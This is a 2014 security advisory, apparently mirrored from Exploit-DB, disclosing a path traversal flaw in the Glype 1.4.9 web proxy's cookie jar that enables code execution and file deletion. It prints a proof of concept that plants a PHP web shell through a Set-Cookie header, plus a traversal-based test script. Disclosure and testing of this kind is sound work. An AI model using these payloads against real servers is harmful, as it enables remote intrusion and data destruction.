Glype 1.4.9 – Cookie Injection Directory Traversal Local File Inclusion

• Exploit Database
• 85 阅读

• 作者： Securify
  日期： 2014-09-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34758/

• ------------------------------------------------------------------------
  Glype proxy cookie jar path traversal allows code execution
  ------------------------------------------------------------------------
  Securify, September 2014
  
  ------------------------------------------------------------------------
  Abstract
  ------------------------------------------------------------------------
  A path traversal vulnerability has been identified in the Glype
  web-based proxy that allows an attacker to run arbitrary PHP code on the
  server or to remove critical files from the filesystem. This only
  affects servers that are configured to:
  
  - store Glype cookies locally; AND
  - disable PHP display_errors; AND
  - allow the webserver process to write to the filesystem (document
  root).
  
  ------------------------------------------------------------------------
  Affected versions
  ------------------------------------------------------------------------
  This issue has been identified in Glype 1.4.9. Older version are most
  likely affected as well.
  
  ------------------------------------------------------------------------
  Fix
  ------------------------------------------------------------------------
  Glype was informed and a fixed version (1.4.10) is now available at
  www.glype.com
  
  ------------------------------------------------------------------------
  Details
  ------------------------------------------------------------------------
  http://www.securify.nl/advisory/SFY20140901/glype_proxy_cookie_jar_path_traversal_allows_code_execution.html 
  
  File creation via path traversal
  
  When the "Store cookies on server" option is set in admin.php, Glype will create a cookie jar on the server to store a user's cookies. The filename for the cookie jar is created using the user's session ID.
  
  browse.php
  
  $toSet[CURLOPT_COOKIEFILE] = $toSet[CURLOPT_COOKIEJAR] = $CONFIG['cookies_folder'] . session_id();
  PHP takes this session ID from a cookie, so the value returned by session_id() is under control of the user. By using path traversal a user can overwrite or create any file on the server with the rights of the webserver's system user.
  
  Code execution
  
  As a POC the following steps were taken to create and run a malicious PHP file in the webroot:
  
  1. Glype was installed with the "Store cookies on server" option set in admin.php. The cookie directory remained default (tmp/cookies/).
  2. A request was initiated with the Glype session cookie's value set to "../../test.php".
  3. The Glype proxy was used to surf to a Securify controlled domain that returned a header that set a cookie containing a malicious PHP script.
  
  Set-Cookie: TestCookie=<?php echo shell_exec($_GET['cmd']) ?>; expires=Thu, 31-Aug-2014 19:14:10 GMT
  
  This caused Glype to write this PHP backdoor to test.php in the webroot. When requested using a browser, PHP parses the cookie jar file containing the malicious PHP code.
  
  The following Python code can be used as a simple test to verify if your Glype installation is affected:
  
  import urllib2
  
  server = 'http://<glype server>'
  url = '/browse.php?u=http%3A%2F%2Fwww.glype.com&b=28'
  
  req = urllib2.Request(server + url)
  req.add_header('Referer', server)
  req.add_header('Cookie', 's=../securify')
  r = urllib2.urlopen(req)
  
  You are affected if a file named "securify" is created outside of the cookie directory.
  
  Arbitrary file removal
  
  The following code is affected by a (similar) path traversal vulnerability allowing an attacker to remove any file the HTTP process has access to:
  
  includes/process.php
  
  # Look for cookie file and check writable
  if ( is_writable($file = $CONFIG['cookies_folder'] . session_id()) ) {
  
   # Delete it
   unlink($file);
  }
  
  This can for example be exploited to put a Glype server out of service or to clear log files.
  

  Python

  Copy